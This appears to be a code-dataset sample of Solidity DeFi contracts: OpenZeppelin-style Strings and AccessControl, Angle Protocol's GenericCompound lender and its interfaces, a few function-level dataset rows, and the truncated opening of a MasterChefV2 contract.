Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "../interfaces/IAccessControl.sol"; /** * @dev This contract is fully forked from OpenZeppelin `AccessControl`. * The only difference is the removal of the ERC165 implementation as it's not * needed in Angle. * * Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external override { require(account == _msgSender(), "71"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) internal { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) internal { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "../interfaces/external/compound/CErc20I.sol"; import "../interfaces/external/compound/IComptroller.sol"; import "../interfaces/external/compound/InterestRateModel.sol"; import "../interfaces/external/uniswap/IUniswapRouter.sol"; import "./GenericLenderBase.sol"; /// @title GenericCompound /// @author Forker from here: https://github.com/Grandthrax/yearnV2-generic-lender-strat/blob/master/contracts/GenericLender/GenericCompound.sol /// @notice A contract to lend any ERC20 to Compound contract GenericCompound is GenericLenderBase { using SafeERC20 for IERC20; using Address for address; event PathUpdated(bytes _path); uint256 public constant BLOCKS_PER_YEAR = 2_350_000; // ==================== References to contracts ============================= CErc20I public immutable cToken; address public immutable comp; IComptroller public immutable comptroller; IUniswapV3Router public immutable uniswapV3Router; // Used to get the `want` price of the AAVE token IUniswapV2Router public immutable uniswapV2Router; address public constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // ==================== Parameters ============================= bytes public path; uint256 public minCompToSell = 0.5 ether; // ============================= Constructor ============================= /// @notice Constructor of the `GenericCompound` /// @param _strategy Reference to the strategy using this lender /// @param _path Bytes to encode the swap from `comp` to `want` /// @param _cToken Address of the cToken /// @param governorList List of addresses with governor privilege /// @param guardian Address of the guardian constructor( address _strategy, string memory name, IUniswapV3Router _uniswapV3Router, IUniswapV2Router _uniswapV2Router, IComptroller _comptroller, address _comp, bytes memory _path, address _cToken, address[] memory governorList, address guardian ) GenericLenderBase(_strategy, name, governorList, guardian) { // This transaction is going to revert if `_strategy`, `_comp` or `_cToken` are equal to the zero address require( address(_uniswapV2Router) != address(0) && address(_uniswapV3Router) != address(0) && address(_comptroller) != address(0), "0" ); path = _path; uniswapV3Router = _uniswapV3Router; uniswapV2Router = _uniswapV2Router; comptroller = _comptroller; comp = _comp; cToken = CErc20I(_cToken); require(CErc20I(_cToken).underlying() == address(want), "wrong cToken"); want.safeApprove(_cToken, type(uint256).max); IERC20(_comp).safeApprove(address(_uniswapV3Router), type(uint256).max); } // ===================== External Strategy Functions =========================== /// @notice Deposits the current balance of the contract to the lending platform function deposit() external override onlyRole(STRATEGY_ROLE) { uint256 balance = want.balanceOf(address(this)); require(cToken.mint(balance) == 0, "mint fail"); } /// @notice Withdraws a given amount from lender /// @param amount The amount the caller wants to withdraw /// @return Amount actually withdrawn function withdraw(uint256 amount) external override onlyRole(STRATEGY_ROLE) returns (uint256) { return _withdraw(amount); } /// @notice Withdraws as much as possible from the lending platform /// @return Whether everything was withdrawn or not function withdrawAll() external override onlyRole(STRATEGY_ROLE) returns (bool) { uint256 invested = _nav(); uint256 returned = _withdraw(invested); return returned >= invested; } // ============================= External View Functions ============================= /// @notice Helper function to get the current total of assets managed by the lender. function nav() external view override returns (uint256) { return _nav(); } /// @notice Helper function the current balance of cTokens function underlyingBalanceStored() public view returns (uint256 balance) { uint256 currentCr = cToken.balanceOf(address(this)); if (currentCr == 0) { balance = 0; } else { //The current exchange rate as an unsigned integer, scaled by 1e18. balance = (currentCr * cToken.exchangeRateStored()) / 1e18; } } /// @notice Returns an estimation of the current Annual Percentage Rate function apr() external view override returns (uint256) { return _apr(); } /// @notice Returns an estimation of the current Annual Percentage Rate weighted by a factor function weightedApr() external view override returns (uint256) { uint256 a = _apr(); return a * _nav(); } /// @notice Returns an estimation of the current Annual Percentage Rate after a new deposit /// of `amount` /// @param amount Amount to add to the lending platform, and that we want to take into account /// in the apr computation function aprAfterDeposit(uint256 amount) external view override returns (uint256) { uint256 cashPrior = want.balanceOf(address(cToken)); uint256 borrows = cToken.totalBorrows(); uint256 reserves = cToken.totalReserves(); uint256 reserverFactor = cToken.reserveFactorMantissa(); InterestRateModel model = cToken.interestRateModel(); // The supply rate is derived from the borrow rate, reserve factor and the amount of total borrows. uint256 supplyRate = model.getSupplyRate(cashPrior + amount, borrows, reserves, reserverFactor); // Adding the yield from comp return supplyRate * BLOCKS_PER_YEAR + _incentivesRate(amount); } /// @notice Check if assets are currently managed by this contract function hasAssets() external view override returns (bool) { return cToken.balanceOf(address(this)) > 0 || want.balanceOf(address(this)) > 0; } // ============================= Governance ============================= /// @notice Sets the path for the swap of `comp` tokens /// @param _path New path function setPath(bytes memory _path) external onlyRole(GUARDIAN_ROLE) { path = _path; emit PathUpdated(_path); } /// @notice Withdraws as much as possible in case of emergency and sends it to the `PoolManager` /// @param amount Amount to withdraw /// @dev Does not check if any error occurs or if the amount withdrawn is correct function emergencyWithdraw(uint256 amount) external override onlyRole(GUARDIAN_ROLE) { // Do not care about errors here, what is important is to withdraw what is possible cToken.redeemUnderlying(amount); want.safeTransfer(address(poolManager), want.balanceOf(address(this))); } // ============================= Internal Functions ============================= /// @notice See `apr` function _apr() internal view returns (uint256) { return cToken.supplyRatePerBlock() * BLOCKS_PER_YEAR + _incentivesRate(0); } /// @notice See `nav` function _nav() internal view returns (uint256) { return want.balanceOf(address(this)) + underlyingBalanceStored(); } /// @notice See `withdraw` function _withdraw(uint256 amount) internal returns (uint256) { uint256 balanceUnderlying = cToken.balanceOfUnderlying(address(this)); uint256 looseBalance = want.balanceOf(address(this)); uint256 total = balanceUnderlying + looseBalance; if (amount > total) { // Can't withdraw more than we own amount = total; } if (looseBalance >= amount) { want.safeTransfer(address(strategy), amount); return amount; } // Not state changing but OK because of previous call uint256 liquidity = want.balanceOf(address(cToken)); if (liquidity > 1) { uint256 toWithdraw = amount - looseBalance; if (toWithdraw <= liquidity) { // We can take all require(cToken.redeemUnderlying(toWithdraw) == 0, "redeemUnderlying fail"); } else { // Take all we can require(cToken.redeemUnderlying(liquidity) == 0, "redeemUnderlying fail"); } } _disposeOfComp(); looseBalance = want.balanceOf(address(this)); want.safeTransfer(address(strategy), looseBalance); return looseBalance; } /// @notice Claims and swaps from Uniswap the `comp` earned function _disposeOfComp() internal { uint256 _comp = IERC20(comp).balanceOf(address(this)); if (_comp > minCompToSell) { uniswapV3Router.exactInput(ExactInputParams(path, address(this), block.timestamp, _comp, uint256(0))); } } /// @notice Calculates APR from Compound's Liquidity Mining Program /// @param amountToAdd Amount to add to the `totalSupplyInWant` (for the `aprAfterDeposit` function) function _incentivesRate(uint256 amountToAdd) internal view returns (uint256) { uint256 supplySpeed = comptroller.compSupplySpeeds(address(cToken)); uint256 totalSupplyInWant = (cToken.totalSupply() * cToken.exchangeRateStored()) / 1e18 + amountToAdd; // `supplySpeed` is in `COMP` unit -> the following operation is going to put it in `want` unit supplySpeed = _comptoWant(supplySpeed); uint256 incentivesRate; // Added for testing purposes and to handle the edge case where there is nothing left in a market if (totalSupplyInWant == 0) { incentivesRate = supplySpeed * BLOCKS_PER_YEAR; } else { // `incentivesRate` is expressed in base 18 like all APR incentivesRate = (supplySpeed * BLOCKS_PER_YEAR * 1e18) / totalSupplyInWant; } return (incentivesRate * 9500) / 10000; // 95% of estimated APR to avoid overestimations } /// @notice Estimates the value of `_amount` AAVE tokens /// @param _amount Amount of comp to compute the `want` price of /// @dev This function uses a UniswapV2 oracle to easily compute the price (which is not feasible /// with UniswapV3) function _comptoWant(uint256 _amount) internal view returns (uint256) { if (_amount == 0) { return 0; } // We use a different path when trying to get the price of the AAVE in `want` address[] memory pathPrice; if (address(want) == address(WETH)) { pathPrice = new address[](2); pathPrice[0] = address(comp); pathPrice[1] = address(want); } else { pathPrice = new address[](3); pathPrice[0] = address(comp); pathPrice[1] = address(WETH); pathPrice[2] = address(want); } uint256[] memory amounts = uniswapV2Router.getAmountsOut(_amount, pathPrice); // APRs are in 1e18 return amounts[amounts.length - 1]; } /// @notice Specifies the token managed by this contract during normal operation function _protectedTokens() internal view override returns (address[] memory) { address[] memory protected = new address[](3); protected[0] = address(want); protected[1] = address(cToken); protected[2] = comp; return protected; } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../external/AccessControl.sol"; import "../interfaces/IGenericLender.sol"; import "../interfaces/IPoolManager.sol"; import "../interfaces/IStrategy.sol"; /// @title GenericLenderBase /// @author Forked from https://github.com/Grandthrax/yearnV2-generic-lender-strat/tree/master/contracts/GenericLender /// @notice A base contract to build contracts to lend assets abstract contract GenericLenderBase is IGenericLender, AccessControl { using SafeERC20 for IERC20; bytes32 public constant GUARDIAN_ROLE = keccak256("GUARDIAN_ROLE"); bytes32 public constant STRATEGY_ROLE = keccak256("STRATEGY_ROLE"); string public override lenderName; // ============================= References to contracts ============================= /// @notice Reference to the protocol's collateral poolManager IPoolManager public poolManager; /// @notice Reference to the `Strategy` address public override strategy; /// @notice Reference to the token lent IERC20 public want; // ============================= Constructor ============================= /// @notice Constructor of the `GenericLenderBase` /// @param _strategy Reference to the strategy using this lender /// @param governorList List of addresses with governor privilege /// @param guardian Address of the guardian constructor( address _strategy, string memory _name, address[] memory governorList, address guardian ) { strategy = _strategy; // The corresponding `PoolManager` is inferred from the `Strategy` poolManager = IPoolManager(IStrategy(strategy).poolManager()); want = IERC20(poolManager.token()); lenderName = _name; _setupRole(GUARDIAN_ROLE, address(poolManager)); for (uint256 i = 0; i < governorList.length; i++) { _setupRole(GUARDIAN_ROLE, governorList[i]); } _setupRole(GUARDIAN_ROLE, guardian); _setupRole(STRATEGY_ROLE, _strategy); _setRoleAdmin(GUARDIAN_ROLE, STRATEGY_ROLE); _setRoleAdmin(STRATEGY_ROLE, GUARDIAN_ROLE); want.safeApprove(_strategy, type(uint256).max); } // ============================= Governance ============================= /// @notice Override this to add all tokens/tokenized positions this contract /// manages on a *persistent* basis (e.g. not just for swapping back to /// want ephemerally). /// /// Example: /// ``` /// function _protectedTokens() internal override view returns (address[] memory) { /// address[] memory protected = new address[](3); /// protected[0] = tokenA; /// protected[1] = tokenB; /// protected[2] = tokenC; /// return protected; /// } /// ``` function _protectedTokens() internal view virtual returns (address[] memory); /// @notice /// Removes tokens from this Strategy that are not the type of tokens /// managed by this Strategy. This may be used in case of accidentally /// sending the wrong kind of token to this Strategy. /// /// Tokens will be sent to `governance()`. /// /// This will fail if an attempt is made to sweep `want`, or any tokens /// that are protected by this Strategy. /// /// This may only be called by governance. /// @param _token The token to transfer out of this poolManager. /// @param to Address to send the tokens to. /// @dev /// Implement `_protectedTokens()` to specify any additional tokens that /// should be protected from sweeping in addition to `want`. function sweep(address _token, address to) external override onlyRole(GUARDIAN_ROLE) { address[] memory __protectedTokens = _protectedTokens(); for (uint256 i = 0; i < __protectedTokens.length; i++) require(_token != __protectedTokens[i], "93"); IERC20(_token).safeTransfer(to, IERC20(_token).balanceOf(address(this))); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; /// @title IAccessControl /// @author Forked from OpenZeppelin /// @notice Interface for `AccessControl` contracts interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; interface IERC721 is IERC165 { function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./IAccessControl.sol"; /// @title IFeeManagerFunctions /// @author Angle Core Team /// @dev Interface for the `FeeManager` contract interface IFeeManagerFunctions is IAccessControl { // ================================= Keepers =================================== function updateUsersSLP() external; function updateHA() external; // ================================= Governance ================================ function deployCollateral( address[] memory governorList, address guardian, address _perpetualManager ) external; function setFees( uint256[] memory xArray, uint64[] memory yArray, uint8 typeChange ) external; function setHAFees(uint64 _haFeeDeposit, uint64 _haFeeWithdraw) external; } /// @title IFeeManager /// @author Angle Core Team /// @notice Previous interface with additionnal getters for public variables and mappings /// @dev We need these getters as they are used in other contracts of the protocol interface IFeeManager is IFeeManagerFunctions { function stableMaster() external view returns (address); function perpetualManager() external view returns (address); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./IAccessControl.sol"; /// @title IGenericLender /// @author Yearn with slight modifications from Angle Core Team /// @dev Interface for the `GenericLender` contract, the base interface for contracts interacting /// with lending and yield farming platforms interface IGenericLender is IAccessControl { function lenderName() external view returns (string memory); function nav() external view returns (uint256); function strategy() external view returns (address); function apr() external view returns (uint256); function weightedApr() external view returns (uint256); function withdraw(uint256 amount) external returns (uint256); function emergencyWithdraw(uint256 amount) external; function deposit() external; function withdrawAll() external returns (bool); function hasAssets() external view returns (bool); function aprAfterDeposit(uint256 amount) external view returns (uint256); function sweep(address _token, address to) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; /// @title IOracle /// @author Angle Core Team /// @notice Interface for Angle's oracle contracts reading oracle rates from both UniswapV3 and Chainlink /// from just UniswapV3 or from just Chainlink interface IOracle { function read() external view returns (uint256); function readAll() external view returns (uint256 lowerRate, uint256 upperRate); function readLower() external view returns (uint256); function readUpper() external view returns (uint256); function readQuote(uint256 baseAmount) external view returns (uint256); function readQuoteLower(uint256 baseAmount) external view returns (uint256); function inBase() external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./IERC721.sol"; import "./IFeeManager.sol"; import "./IOracle.sol"; import "./IAccessControl.sol"; /// @title Interface of the contract managing perpetuals /// @author Angle Core Team /// @dev Front interface, meaning only user-facing functions interface IPerpetualManagerFront is IERC721Metadata { function openPerpetual( address owner, uint256 amountBrought, uint256 amountCommitted, uint256 maxOracleRate, uint256 minNetMargin ) external returns (uint256 perpetualID); function closePerpetual( uint256 perpetualID, address to, uint256 minCashOutAmount ) external; function addToPerpetual(uint256 perpetualID, uint256 amount) external; function removeFromPerpetual( uint256 perpetualID, uint256 amount, address to ) external; function liquidatePerpetuals(uint256[] memory perpetualIDs) external; function forceClosePerpetuals(uint256[] memory perpetualIDs) external; // ========================= External View Functions ============================= function getCashOutAmount(uint256 perpetualID, uint256 rate) external view returns (uint256, uint256); function isApprovedOrOwner(address spender, uint256 perpetualID) external view returns (bool); } /// @title Interface of the contract managing perpetuals /// @author Angle Core Team /// @dev This interface does not contain user facing functions, it just has functions that are /// interacted with in other parts of the protocol interface IPerpetualManagerFunctions is IAccessControl { // ================================= Governance ================================ function deployCollateral( address[] memory governorList, address guardian, IFeeManager feeManager, IOracle oracle_ ) external; function setFeeManager(IFeeManager feeManager_) external; function setHAFees( uint64[] memory _xHAFees, uint64[] memory _yHAFees, uint8 deposit ) external; function setTargetAndLimitHAHedge(uint64 _targetHAHedge, uint64 _limitHAHedge) external; function setKeeperFeesLiquidationRatio(uint64 _keeperFeesLiquidationRatio) external; function setKeeperFeesCap(uint256 _keeperFeesLiquidationCap, uint256 _keeperFeesClosingCap) external; function setKeeperFeesClosing(uint64[] memory _xKeeperFeesClosing, uint64[] memory _yKeeperFeesClosing) external; function setLockTime(uint64 _lockTime) external; function setBoundsPerpetual(uint64 _maxLeverage, uint64 _maintenanceMargin) external; function pause() external; function unpause() external; // ==================================== Keepers ================================ function setFeeKeeper(uint64 feeDeposit, uint64 feesWithdraw) external; // =============================== StableMaster ================================ function setOracle(IOracle _oracle) external; } /// @title IPerpetualManager /// @author Angle Core Team /// @notice Previous interface with additionnal getters for public variables interface IPerpetualManager is IPerpetualManagerFunctions { function poolManager() external view returns (address); function oracle() external view returns (address); function targetHAHedge() external view returns (uint64); function totalHedgeAmount() external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./IFeeManager.sol"; import "./IPerpetualManager.sol"; import "./IOracle.sol"; // Struct for the parameters associated to a strategy interacting with a collateral `PoolManager` // contract struct StrategyParams { // Timestamp of last report made by this strategy // It is also used to check if a strategy has been initialized uint256 lastReport; // Total amount the strategy is expected to have uint256 totalStrategyDebt; // The share of the total assets in the `PoolManager` contract that the `strategy` can access to. uint256 debtRatio; } /// @title IPoolManagerFunctions /// @author Angle Core Team /// @notice Interface for the collateral poolManager contracts handling each one type of collateral for /// a given stablecoin /// @dev Only the functions used in other contracts of the protocol are left here interface IPoolManagerFunctions { // ============================ Constructor ==================================== function deployCollateral( address[] memory governorList, address guardian, IPerpetualManager _perpetualManager, IFeeManager feeManager, IOracle oracle ) external; // ============================ Yield Farming ================================== function creditAvailable() external view returns (uint256); function debtOutstanding() external view returns (uint256); function report( uint256 _gain, uint256 _loss, uint256 _debtPayment ) external; // ============================ Governance ===================================== function addGovernor(address _governor) external; function removeGovernor(address _governor) external; function setGuardian(address _guardian, address guardian) external; function revokeGuardian(address guardian) external; function setFeeManager(IFeeManager _feeManager) external; // ============================= Getters ======================================= function getBalance() external view returns (uint256); function getTotalAsset() external view returns (uint256); } /// @title IPoolManager /// @author Angle Core Team /// @notice Previous interface with additionnal getters for public variables and mappings /// @dev Used in other contracts of the protocol interface IPoolManager is IPoolManagerFunctions { function stableMaster() external view returns (address); function perpetualManager() external view returns (address); function token() external view returns (address); function feeManager() external view returns (address); function totalDebt() external view returns (uint256); function strategies(address _strategy) external view returns (StrategyParams memory); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./IAccessControl.sol"; /// @title IStrategy /// @author Inspired by Yearn with slight changes from Angle Core Team /// @notice Interface for yield farming strategies interface IStrategy is IAccessControl { function estimatedAPR() external view returns (uint256); function poolManager() external view returns (address); function want() external view returns (address); function isActive() external view returns (bool); function estimatedTotalAssets() external view returns (uint256); function harvestTrigger(uint256 callCost) external view returns (bool); function harvest() external; function withdraw(uint256 _amountNeeded) external returns (uint256 amountFreed, uint256 _loss); function setEmergencyExit() external; function addGuardian(address _guardian) external; function revokeGuardian(address _guardian) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0; import "./CTokenI.sol"; interface CErc20I is CTokenI { function mint(uint256 mintAmount) external returns (uint256); function redeemUnderlying(uint256 redeemAmount) external returns (uint256); function underlying() external view returns (address); function borrow(uint256 borrowAmount) external returns (uint256); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./InterestRateModel.sol"; interface CTokenI { function balanceOf(address owner) external view returns (uint256); function balanceOfUnderlying(address owner) external returns (uint256); function supplyRatePerBlock() external view returns (uint256); function exchangeRateCurrent() external returns (uint256); function exchangeRateStored() external view returns (uint256); function interestRateModel() external view returns (InterestRateModel); function totalReserves() external view returns (uint256); function reserveFactorMantissa() external view returns (uint256); function totalBorrows() external view returns (uint256); function totalSupply() external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; interface IComptroller { function compSupplySpeeds(address cToken) external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; interface InterestRateModel { /** * @notice Calculates the current supply interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate( uint256 cash, uint256 borrows, uint256 reserves, uint256 reserveFactorMantissa ) external view returns (uint256); // Rinkeby function function getBorrowRate( uint256 cash, uint256 borrows, uint256 _reserves ) external view returns (uint256, uint256); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; struct ExactInputParams { bytes path; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; } /// @title Router token swapping functionality /// @notice Functions for swapping tokens via Uniswap V3 interface IUniswapV3Router { /// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata /// @return amountOut The amount of the received token function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut); } /// @title Router for price estimation functionality /// @notice Functions for getting the price of one token with respect to another using Uniswap V2 /// @dev This interface is only used for non critical elements of the protocol interface IUniswapV2Router { /// @notice Given an input asset amount, returns the maximum output amount of the /// other asset (accounting for fees) given reserves. /// @param path Addresses of the pools used to get prices function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); }
Withdraws a given amount from lender amount The amount the caller wants to withdraw return Amount actually withdrawn
function withdraw(uint256 amount) external override onlyRole(STRATEGY_ROLE) returns (uint256) { return _withdraw(amount); }
1,475,900
./full_match/5/0x13FDeFcadca58916f3BFDD492dBa2F522fb58558/sources/ERC1410Operator.sol
Authorises an operator for all partitions of `msg.sender` _operator An address which is being authorised
function authorizeOperator( address _operator, address tokenHolder ) external onlyOwner { operatorForAllPartitions[tokenHolder][_operator] = true; emit AuthorizedOperator(_operator, tokenHolder); }
1,852,807
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol"; import "@boringcrypto/boring-solidity/contracts/BoringBatchable.sol"; import "@boringcrypto/boring-solidity/contracts/BoringOwnable.sol"; import "./libraries/SignedSafeMath.sol"; import "./interfaces/IRewarder.sol"; import "./interfaces/IMasterChef.sol"; interface IMigratorChef { // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. function migrate(IERC20 token) external returns (IERC20); } /// @notice The (older) MasterChef contract gives out a constant number of SUMMIT tokens per block. /// It is the only address with minting rights for SUMMIT. /// The idea for this MasterChef V2 (MCV2) contract is therefore to be the owner of a dummy token /// that is deposited into the MasterChef V1 (MCV1) contract. /// The allocation point for this pool on MCV1 is the total allocation point for all pools that receive double incentives. contract MasterChefV2 is BoringOwnable, BoringBatchable { using BoringMath for uint256; using BoringMath128 for uint128; using BoringERC20 for IERC20; using SignedSafeMath for int256; /// @notice Info of each MCV2 user. /// `amount` LP token amount the user has provided. /// `rewardDebt` The amount of SUMMIT entitled to the user. struct UserInfo { uint256 amount; int256 rewardDebt; } /// @notice Info of each MCV2 pool. /// `allocPoint` The amount of allocation points assigned to the pool. /// Also known as the amount of SUMMIT to distribute per block. struct PoolInfo { uint128 accMetavicePerShare; uint64 lastRewardBlock; uint64 allocPoint; } /// @notice Address of MCV1 contract. IMasterChef public immutable MASTER_CHEF; /// @notice Address of SUMMIT contract. IERC20 public immutable SUMMIT; /// @notice The index of MCV2 master pool in MCV1. uint256 public immutable MASTER_PID; // @notice The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; /// 